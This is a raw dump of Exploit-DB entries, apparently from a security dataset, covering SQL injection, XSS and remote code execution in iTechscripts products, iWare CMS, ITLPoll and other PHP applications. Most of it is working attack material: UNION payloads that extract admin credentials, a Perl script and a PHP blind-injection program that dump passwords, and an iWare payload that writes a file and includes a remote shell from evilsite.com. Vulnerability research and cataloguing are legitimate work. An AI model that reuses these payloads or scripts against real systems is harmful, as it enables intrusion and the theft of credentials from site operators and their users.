deardaniel/secdata-raw huggingface dataset:
Exploit-DB #41199
Description: Itech Video Sharing Script 4.94 - 'v' SQL Injection
Type: webapps
Platform: php
Date: 2017-01-30
Author: Kaan KAMIS

Exploit:
Exploit Title: Video Sharing Script 4.94 – SQL Injection
Date: 30.01.2017
Vendor Homepage: http://itechscripts.com/
Software Link: http://itechscripts.com/video-sharing-script/
Exploit Author: Kaan KAMIS
Contact: iletisim[at]k2an[dot]com
Website: http://k2an.com
Category: Web Application Exploits

Overview

Video Sharing Script v4.94 is the best audio/ video sharing portal. You can easily deploy the software and launch your own video sharing portal in moments.

Type of vulnerability:

An SQL Injection vulnerability in Video Sharing Script 4.94 allows attackers to read
arbitrary data from the database.

Vulnerability:

http://localhost/video-sharing-script/watch-video.php?v=67d8ab[payload]

Parameter: #1* (URI)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: http://video-sharing.itechscripts.com:80/watch-video.php?v=67d8ab' RLIKE (SELECT (CASE WHEN (1170=1170) THEN 0x[PII_REDACTED]62 ELSE 0x28 END))-- Niby

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: http://video-sharing.itechscripts.com:80/watch-video.php?v=67d8ab' AND (SELECT 2680 FROM(SELECT COUNT(*),CONCAT(0x[PII_REDACTED],(SELECT (ELT(2680=2680,1))),0x71786b7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- Wovm

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: http://video-sharing.itechscripts.com:80/watch-video.php?v=67d8ab' AND SLEEP(5)-- pcjq

    Type: UNION query
    Title: MySQL UNION query (NULL) - 26 columns
    Payload: http://video-sharing.itechscripts.com:80/watch-video.php?v=-8184' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x[PII_REDACTED],0x[PII_REDACTED]51656e[PII_REDACTED][PII_REDACTED]48516b784656504a646a[PII_REDACTED]6b6d554251736c,0x71786b7171),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
Exploit-DB #41204
Description: Itech Video Sharing Script 4.94 - SQL Injection
Type: webapps
Platform: php
Date: 2017-01-30
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Video Sharing Script 4.94 - 'uid' Parameter SQL Injection
# Google Dork: N/A
# Date: 30.01.2017
# Vendor Homepage: http://itechscripts.com/
# Software Buy: http://itechscripts.com/video-sharing-script/
# Demo: http://video-sharing.itechscripts.com/
# Version: 4.94
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/channels.php?uid=[SQL]
#http://localhost/[PATH]/faq_show.php?fid=[SQL]
# E.t.c
# # # # #
Exploit-DB #5056
Description: ITechBids 5.0 - 'item_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-04
Author: QTRinux

Exploit:
[!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!QTRinux!!aNa TrYaGi!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!]
# iTechBids v3 Gold Remote SQL injection
#                                                                                       #
#AUTHOR : QTRinux                                                                       #
#Discovered by : QTRinux                                                                #
#Exploited By  : QTRinux                                                                #
#TrYaG Team Members : AlQaTaRi - POISON -Mr.SH4R3S and all TrYaGi  , cold-z3ro , Gold_M
#Site : Tryag.cc
#
#Script:http://itechscripts.com/index.php?&vmcchk=1&option=com_virtuemart&Itemid=45
#Price : $125.00
#Dork  : intitle:"ITech Bids"
#File: PATH_SCRIPT/bidhistory.php?item_id= SQL
#SQL : -1%20union%20select%201,2,3,concat(user_name,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36%20from%20admin

thnx str0ke :)
[!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!QTRinux!!aNa TrYaGi!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!]

# milw0rm.com [2008-02-04]
Exploit-DB #5096
Description: ITechBids 6.0 - 'item_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-10
Author: SoSo H H

Exploit:
############################################################################
# ITechBids v.6.0 Gold Edition Sql Injection Exploit                       #
#                                                                          #
# AUTHOR:SoSo H H (Iraqi-Cracker)                                          #
#                                                                          #
# Script Site: http://itechscripts.com/                                    #
#                                                                          #
# Price:$125.00                                                            #
#                                                                          #
#                                                                          #
############################################################################
# Exploit in:                                                              #
# detail.php?item_id==(SQL)                                                #
#                                                                          #
# Example:                                                                 #
#                                                                          #
# (SQL)=-1%20union+select+1,2,3,concat(user_name,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36+from%20admin/*#
############################################################################
# Greetz:                                                                  #
# L!0N,El Mariachi,My Sweet,Shadow Administrator,TrYaG Team,Iraqi-KoRn     #
# Mini.Spider,and All 7shasha Boards Members!                              #
############################################################################

# milw0rm.com [2008-02-10]
Exploit-DB #6069
Description: ITechBids 7.0 gold - Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2008-07-13
Author: Encrypt3d.M!nd

Exploit:
######## ##    ##  ######  ########  ##    ## ########  ########  #######  ######## 
##       ###   ## ##    ## ##     ##  ##  ##  ##     ##    ##    ##     ## ##     ##
##       ####  ## ##       ##     ##   ####   ##     ##    ##           ## ##     ##
######   ## ## ## ##       ########     ##    ########     ##     #######  ##     ##
##       ##  #### ##       ##   ##      ##    ##           ##           ## ##     ##
##       ##   ### ##    ## ##    ##     ##    ##           ##    ##     ## ##     ##
######## ##    ##  ######  ##     ##    ##    ##           ##     #######  ######## 

################################ !R4Q!4N H4CK3R  ###################################

ITechBids 7.0 Gold Multiple Remote Vulnerabilities

Website : http://www.itechscripts.com

Founded By : Encrypt3d.M!nd

NOTE:I Didn't Search The Script Well,So Maybe There is other Vulnerabilities.


# 1- Cross-site scripting (XSS):

Affected File : forward_to_friend.php

PoC :

/forward_to_friend.php?productid=<script>alert(666);</script>


# 2-Remote Sql Injection(s) :

Affected File(s) :

sellers_othersitem.php
classifieds.php
shop.php

Note:There is Other Files Affected But I Couldn't Exploit Them :(

PoC:

/sellers_othersitem.php?seller_id=666666+union+select+1,2,3,concat(user_name,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+from+admin

/classifieds.php?productid=666666+union+select+1,2,3,concat(user_name,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+from+admin

/shop.php?id=666666+union+select+1,2,3,concat(user_name,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39+from+admin


# Greetz:

MY Sweet,L!0N,EL Mariachi,-=MizO=-(:-L),Shadow Administrator,
KoRn The Dog,Mini-Spider,All My Friends


The EnD :D

# milw0rm.com [2008-07-13]
Exploit-DB #31094
Description: ITechClassifieds - 'viewcat.php?CatID' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-02-02
Author: Crackers_Child

Exploit:
source: https://www.securityfocus.com/bid/27574/info
 
iTechClassifieds is prone to an input-validation vulnerability that may be exploited as a cross-site scripting issue or an SQL-injection issue. This issue occurs because the application fails to adequately sanitize user-supplied input.
 
A successful exploit may allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/ViewCat.php?CatID=[XSS]
Exploit-DB #31093
Description: ITechClassifieds - 'viewcat.php?CatID' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-02
Author: Crackers_Child

Exploit:
source: https://www.securityfocus.com/bid/27574/info

iTechClassifieds is prone to an input-validation vulnerability that may be exploited as a cross-site scripting issue or an SQL-injection issue. This issue occurs because the application fails to adequately sanitize user-supplied input.

A successful exploit may allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/ViewCat.php?CatID=[SQL]
Exploit-DB #31140
Description: iTechClassifieds 3.03.057 - SQL Injection
Type: webapps
Platform: php
Date: 2014-01-23
Author: vinicius777

Exploit:
# Exploit Title: iTechClassifieds v3.03.057 - SQL Injection
# Date: 23/01/2014
# Exploit Author: vinicius777
# Vendor Homepage: http://itechscripts.com/download.html
# Software Link: http://itechscripts.com/downloads/download_itechclassifieds.html
# Version: 3.03.057


[1] SQL Injection - PreviewNun 

PoC: http://localhost/iTechClassifieds_v3/ChangeEmail.php?PreviewNum=1' [SQL INJECTION]



[2] SQL Injection - CatID

PoC: http://localhost/iTechClassifieds_v3/ViewCat.php?CatID=[SQL INJECTION]


#
#
# Greetz to g0tm1lk and TheColonial.
Exploit-DB #41032
Description: iTechscripts Freelancer Script 5.11 - 'sk' SQL Injection
Type: webapps
Platform: php
Date: 2017-01-11
Author: v3n0m

Exploit:
#!/usr/bin/perl -w

# iTechscripts Freelancer Script v5.11 (sk) SQL Injection Vulnerability
# Author	: v3n0m
# Contact	: v3n0m[at]outlook[dot]com
# Date		: January, 11-2017 GMT +7:00 Jakarta, Indonesia
# Software	: Freelancer Script
# Version	: 5.11 Lower versions may also be affected
# Price 	: US$199.00
# Link  	: http://itechscripts.com/freelancer-script/
# Greetz	: YOGYACARDERLINK, CAFE BMW, Dhea Fathin Karima & YOU !!
sub clear{
	system(($^O eq 'MSWin32') ? 'cls' : 'clear');
}
clear();
print "|----------------------------------------------------|\n";
print "| iTechscripts Freelancer Script 5.11 SQLi Exploiter |\n";
print "| Coded by : v3n0m                                   |\n";
print "| Greetz   : YOGYACARDERLINK                         |\n";
print "|----------------------------------------------------|\n";
use LWP::UserAgent;
print "\nInsert Target:[http://wwww.target.com/path/]: ";
chomp(my $target=<STDIN>);
print "\n[!] Exploiting Progress...\n";
print "\n";
$concat="group_concat(username,char(58),password)";
$table="admin_user";
$dheakarima = LWP::UserAgent->new() or die "Could not initalize browser\n";
$dheakarima->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target . "category.php?sk=-9999+union+all+select+null,null,".$concat.",null+from/**/".$table."+--+";
$xf2r = $dheakarima->request(HTTP::Request->new(GET=>$host));
$answer = $xf2r->content; 
if ($answer =~/([0-9a-fA-F]{32})/) {
	print "\n[+] Admin Password : $1\n";
	print "[+] Success !! Check target for details...\n";
	print "\n";
}
else{print "\n[-] Failed\n";
}
Exploit-DB #11163
Description: ITechSctipts Alibaba Clone - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-01-16
Author: Hamza 'MizoZ' N.

Exploit:
/*

Name : ITechSctipts Alibaba Clone
Site : http://itechscripts.com/index.php?page=shop.product_details&flypage=shop.flypage&product_id=24&option=com_virtuemart

Author : Hamza 'MizoZ' N.
Email : mizozx[at]gmail[dot]com

Greetz : Zuka , Sellim

*/

# SQL Injection :

File : cat_sell.php , Get : cid

[HOST]/[PATH]/cat_sell.php?cid=-7+union+select+1,version(),3,4,5,6,7,8--

Demo : http://server/cat_sell.php?cid=-7+union+select+1,version%28%29,3,4,5,6,7,8--

# XSS :

File : gen_confirm.php , Get : errmsg

[HOST]/[PATH]/gen_confirm.php?errmsg=[SCRIPT]

Demo :  http://server/gen_confirm.php?errmsg=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
Exploit-DB #7867
Description: ITLPoll 2.7 Stable2 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-01-26
Author: fuzion

Exploit:
<?php

function usage ()
{
    echo "\nITLPoll v2.7 Stable2 Blind SQL Injection Exploit".
         "\n[â˜¢] Usage   : ./itlpoll.php hostname path <username or password>".
         "\n[â˜¢] Ex	: ./itlpoll.php localhost /itlpoll password".
	 "\n\n";
    exit ();
}


function query ($func, $chr, $pos)
{   //replace 1' with a valid poll number if you have problems. See hostname/path/?Archive for a list of polls.
    $query = "1' AND ORD(MID((SELECT IFNULL(CAST({$func} AS CHAR(10000)), CHAR(32)) FROM itl_config WHERE id = 1),{$pos},1))='{$chr}";
    $query = str_replace (" ", "%20", $query);
    $query = str_replace ("'", "%27", $query);
    return $query;
}

function exploit ($host, $path, $func, $pos, $chr)
{
    $chr = ord ($chr);
    $fp = fsockopen ($host, 80);
    $query = query ($func, $chr, $pos);
    $request = "GET {$path}/index.php?id={$query} HTTP/1.1\r\n".
           "Host: {$host}\r\n".
           "Connection: Close\r\n\r\n";
    
    fputs ($fp, $request);
    while (!feof ($fp))
        $reply .= fgets ($fp, 1024);
    
    fclose ($fp);

    if (preg_match ("/EXPIERED/", $reply))
        return false;
    else
        return true;
}


if ($argc != 4)

    usage ();

$host = $argv [1];
$path = $argv [2];
$func = $argv [3];
$key = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz[PII_REDACTED]"; //add a bigger char set if you can't get the username
$pos = 1;
$chr = 0;

echo "[â˜¢] Creds: ";

while ($pos <= 32)
{
    if (exploit ($host, $path, $func, $pos, $key [$chr]))
    {
        echo $key [$chr];
        $chr = 0;
        $pos++;
    }
    else
        $chr++;
}
echo "\n";
?>

# milw0rm.com [2009-01-26]
Exploit-DB #32275
Description: itMedia - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-08-18
Author: baltazar

Exploit:
source: https://www.securityfocus.com/bid/30740/info

itMedia is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/vijest.php?id=-1+union+all+select+1,concat_ws(char(58),user,pass),3,4,5,6,7+from+admin--

http://www.example.com/vijesti.php?id=-1+union+all+select+1,2,concat_ws(char(58),user,pass)+from+admin--

http://www.example.com/vijest.php?id=-1+union+all+select+1,2,concat_ws(char(58),user,pass),4,5,6,7,8,9,10+from+admin--

http://www.example.com/galerija.php?op=slika&ids=-1+union+all+select+1,null,concat_ws(char(58),user,pass)+from+admin--

http://www.example.com/galerija.php?op=slika&ids=-1+union+all+select+1,null,concat_ws(char(58),user,pass),4,5+from+admin--

http://www.example.com/ponuda.php?op=slika&ids=-1+union+all+select+1,concat_ws(char(58),user,pass),3+from+admin--

http://www.example.com/ponuda.php?op=kategorija&id=-1+union+all+select+1,2,concat_ws(char(58),user,pass),4+from+admin--

http://www.example.com/slike.php?op=slika&ids=-1+union+all+select+1,2,concat_ws(char(58),user,pass),4,5+from+admin--
Exploit-DB #34798
Description: ITS SCADA - 'Username' SQL Injection
Type: webapps
Platform: php
Date: 2010-10-04
Author: Eugene Salov

Exploit:
source: https://www.securityfocus.com/bid/43680/info

ITS SCADA is prone to an SQL-injection vulnerability.

Exploiting this issue can allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

User ID = 1' or 1=(select top 1 password from Users)--
Password = blank
Exploit-DB #38635
Description: iVote - 'details.php' SQL Injection
Type: webapps
Platform: php
Date: 2013-07-10
Author: Ashiyane Digital Security Team

Exploit:
source: https://www.securityfocus.com/bid/61086/info

iVote is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

iVote 1.0.0 is vulnerable; other versions may be affected. 

http://www.example.com/iVote/details.php?id=1 union select 1,password,3,4 from settings
Exploit-DB #8305
Description: iWare CMS 5.0.4 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2009-03-29
Author: boom3rang

Exploit:
###################################################################
CMS IWARE 5.0.4 REMOTE SQL-injection vulnerability 
###################################################################


###################################################
#[~] Author        :  boom3rang 
#[~] Greetz        :  H!tm@N, KHG, chs, redc00de
#[~] Vulnerability :  Remote SQL-injection
#[~] Google Dork   :  N/W
--------------------------------------------------   
#[!] Product Site  :  www.iwarecms.nl
#[!] Download CMS  :  http://www.iwarecms.nl/download.php?f=IWARE_5.0.4.zip
#[!] Version       :  5.0.4
###################################################

[+] Remote SQL injection 


Example:
http://localhost/path/index.php?D=[SQL injection]

SQL:
'/**/and/**/1=2/**/UNION/**/SELECT/**/concat(username,char(58),password)+from+iware_users/*

Demo:
http://www.iwarecms.nl/demo/index.php?D=63'/**/and/**/1=2/**/UNION/**/SELECT/**/concat(username,char(58),password)+from+demo_users/*

-----------------
Example 2:
http://localhost/path/index.php?D=52&cmd=33&file=NewsArticles_1.0.0&view=1&category=&id=[SQL injection]

SQL:
'/**/and/**/1=2/**/UNION/**/SELECT/**/0,1,2,concat(username,char(58),password),4,null+from+iware_users/*

Demo 2:
http://www.iwarecms.nl/demo/index.php?D=52&cmd=33&file=NewsArticles_1.0.0&view=1&category=&id=3'/**/and/**/1=2/**/UNION/**/SELECT/**/0,1,2,concat(username,char(58),password),4,null+from+demo_users/*

-----------------
Example 3:
http://localhost/path/index.php?D=54&cmd=33&file=ImageGallery_1.0.0&category=[SQL injection]

SQL:
'/**/and/**/1=2/**/UNION/**/SELECT/**/0,1,null,concat(username,char(58),password)+from+iware_users/*

http://www.iwarecms.nl/demo/index.php?D=54&cmd=33&file=ImageGallery_1.0.0&category=2'/**/and/**/1=2/**/UNION/**/SELECT/**/0,1,null,concat(username,char(58),password)+from+demo_users/*



##############################
#[!] Proud 2 be Albanian
#[!] Proud 2 be Muslim
#[!] R.I.P redc00de
##############################

# milw0rm.com [2009-03-29]
Exploit-DB #2733
Description: iWare Pro 5.0.4 - 'chat_panel.php' Remote Code Execution
Type: webapps
Platform: php
Date: 2006-11-07
Author: nuffsaid

Exploit:
+-------------------------------------------------------------------------------------------
+ iWare Pro <= 5.0.4 (chat_panel.php) Remote Code Execution Vulnerability
+-------------------------------------------------------------------------------------------
+ Affected Software .: iWare Professional CMS <= 5.0.4
+ Vendor ............: http://www.dsiware.com/
+ Download ..........: http://dsiware.com/download.php
+ Description .......: "iWare is a Open Source PHP & MySQL Content Management System"
+ Class .............: Remote Code Execution
+ Risk ..............: High (Remote Code Execution)
+ Found By ..........: nuffsaid <nuffsaid[at]newbslove.us>
+-------------------------------------------------------------------------------------------
+ Details:
+ iWare admin/mods/simplechat_1.0.0/chat_panel.php does not sanatize the $message variable
+ in the first argument of the PostMessage() function on line 11 before writing the variable
+ contents to chat_log.php on line 25. When chat_panel.php is requested, the PostMessage()
+ function is called on line 32 and $_REQUEST['msg'] is written to chat_log.php unsanatized.
+
+ Vulnerable Code: 
+ admin/mods/simplechat_1.0.0/chat_panel.php, line(s) 11-32:
+ -> 11: function PostMessage($message) {
+ -> 16:  $new_message = "".$message."<br />\n";
+ -> 23:  $open_file = fopen("chat_log.php", "w");
+ -> 25:  fputs($open_file, stripslashes($new_message));
+ -> 28:  fclose($open_file);
+ -> 29: }
+ -> 32: if($_REQUEST['talk']==1){PostMessage($_REQUEST['msg']);}
+ 
+ Proof Of Concept:
+ http://[target]/[path]/admin/mods/simplechat_1.0.0/chat_panel.php?talk=1&msg=[evilcode]
+ http://[target]/[path]/admin/mods/simplechat_1.0.0/chat_log.php
+ -> http://[target]/[path]/admin/mods/simplechat_1.0.0/chat_panel.php?talk=1&msg=%3C%3Fphp%0D%0A%24open_file+%3D+fopen%28%22..%2F..%2F..%2Fevilfile.php%22%2C+%22w%22%29%3B%0D%0Afputs%28%24open_file%2C%22%3C%3Fphp+include%28%5C%24_GET%5B%27evil_include%27%5D%29%3B+%3F%3E%22%29%3B%0D%0Afclose%28%24open_file%29%3B%0D%0Achmod%28%22..%2F..%2F..%2Fevilfile.php%22%2C0777%29%3B%0D%0A%3F%3E
+ -> http://[target]/[path]/admin/mods/simplechat_1.0.0/chat_log.php
+ -> http://[target]/[path]/evilfile.php?evil_include=http://evilsite.com/shell.php
+-------------------------------------------------------------------------------------------

# milw0rm.com [2006-11-07]
Exploit-DB #24842
Description: IWebNegar - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2004-12-15
Author: Shervin Khaleghjou

Exploit:
source: https://www.securityfocus.com/bid/11946/info

iWebNegar is reported prone to multiple SQL injection vulnerabilities, these issues exist due to a lack of sufficient boundary checks performed on user-supplied URI parameter data.

These issues could theoretically be exploited to compromise the software by performing unauthorized actions on the database, such as modifying or viewing data. SQL injection attacks may also be used to exploit latent vulnerabilities in the underlying database. This may depend on the nature of the query being manipulated as well as the capabilities of the database implementation.

http://www.example.com/weblog/index.php?string=[sql injection code]
Exploit-DB #28441
Description: IwebNegar 1.1 - 'comments.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-08-30
Author: Hessam-x

Exploit:
source: https://www.securityfocus.com/bid/19757/info

IwebNegar is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

IwebNegar 1.1 is reportedly affected by this issue; other versions may be affected as well.

http://www.example.com/comments.php?id=[SQL Query]